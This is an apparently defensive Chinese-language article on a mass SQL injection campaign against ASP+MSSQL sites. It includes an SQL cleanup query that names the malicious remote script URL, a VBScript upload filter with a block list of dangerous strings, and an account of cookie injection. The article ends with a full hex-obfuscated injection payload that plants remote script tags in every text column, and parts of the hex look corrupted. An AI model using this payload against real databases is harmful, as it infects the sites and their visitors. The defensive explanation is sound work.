這陣子，採用ASP+MSSQL設計的許多網站可能遭遇到sql資料庫被掛馬者插入JS木馬的經驗；這不，朋友的一個網站就被駭客忽悠了一把
mssql的每個varchar、text欄位都會自動插入一段js程式碼，即使刪除這段程式碼，如果沒有從來源上解決，幾分鐘後，js程式碼就會自動插入資料庫。
經過飄易的觀察，這很有可能是程式自動執行的，駭客先從搜尋引擎google、百度等搜尋存在漏洞的採用asp+mssql設計的網站，然後採用小明子這樣的注入掃描工具，掃描整個網站，一旦發現有sql注入的漏洞或上傳漏洞，駭客就透過各種手段，上傳自己的大馬，如海陽木馬；然後，駭客就把這個網站納入他的肉雞列表，隨時在資料庫裡加入自己希望加的js程式碼，而這些程式碼往往是包含眾多的病毒、木馬，最終讓造訪受控網站的使用者的電腦中毒。
雖然，可以透過sql查詢分析器執行批量代換，暫時解決被插入的js程式碼問題，然而不從根本上解決整個網站存在的漏洞，包括程式上和伺服器安全權限，那麼駭客還是隨時可以入侵你的網站資料庫。
在sql查詢分析器裡可以執行以下的程式碼批次替換js程式碼：
複製代碼代碼如下:
“ update 表名set 欄位名稱=replace(字段名,'<Script Src=http://cn%75clear3.com/css/c.js></Script>','') ”
flymorn仔細檢查了網站，發現網站有幾個安全問題：
第一，網站存在上傳漏洞；雖然，上傳文件需要管理員身份驗證，也對上傳文件進行了文件格式的認證，但管理員身份驗證採用了cookies，而cookies是可以被偽造的，而且如果上傳了圖片後，不對該文件的內容採取任何判斷的話，那麼圖片木馬也很有可能被上傳。
解決措施：1 刪除上傳檔案功能（不太實際）；2 修改上傳使用者驗證為session驗證；3 對上傳後的檔案內容進行驗證，如果是圖片木馬，則刪除；可以參考以下的驗證程式碼：
複製代碼代碼如下:
''===============判斷上傳檔案是否含非法字串start================
set MyFile = server.CreateObject("Scripting.FileSystemObject")
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '讀取文字文件
sTextAll = lcase(MyText.ReadAll)
MyText.close
set MyFile = nothing
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language="
sNoString = split(sStr,"|")
for i=0 to ubound(sNoString)
if instr(sTextAll,sNoString(i)) then
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(filePath)
set filedel = nothing
Response.Write("<script>alert('您上傳的檔案有問題，上傳失敗！');history.back();</script>")
Response.End
end if
next
''=================判斷上傳檔案是否包含非法字串end===================
第二，網站存在cookies注入漏洞。由於程式設計中，為了考慮到減少伺服器的開銷，所有使用者登陸後採用cookies驗證，這個cookies裡保存了使用者的ID 和NAME ，而眾所周知，cookies是經常被駭客偽造的，這是其一；另外，某些外部參數並沒有採用嚴格的request.form 和request.querystring 來取得內容，為了簡便，採用了request("id") 這樣的方式。
我們知道，ASP 的request 是先從form、querystring裡獲取內容，如果這兩個為空，則要從cookies裡獲取內容，大家往往在程式設計中考慮到了request.form 和request.querystring 的SQL注入，所以一般都會過濾request.form 和request.querystring進行sql注入；但卻偏偏忘了過濾cookies方式下的注入。我們來看下下面這樣的sql語句：
複製代碼代碼如下:
SQL="select * from 表名whereid")
如果這個id 剛好是透過cookies來取得價值的，那麼想想，這是一件多麼可怕的事啊！注入者可以輕鬆的偽造一個名為id 的虛假cookies ，因為這個id 的cookies 是伺服器分配給它的。這個cookies可以被偽造成類似下面這樣的一段程式碼：
複製代碼代碼如下:
dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c4063207641724368417228323535292064564645
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT62d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c65f637
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320f5220694e744f2040742c40620f5277
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b4074
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f522064454164c6c
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);--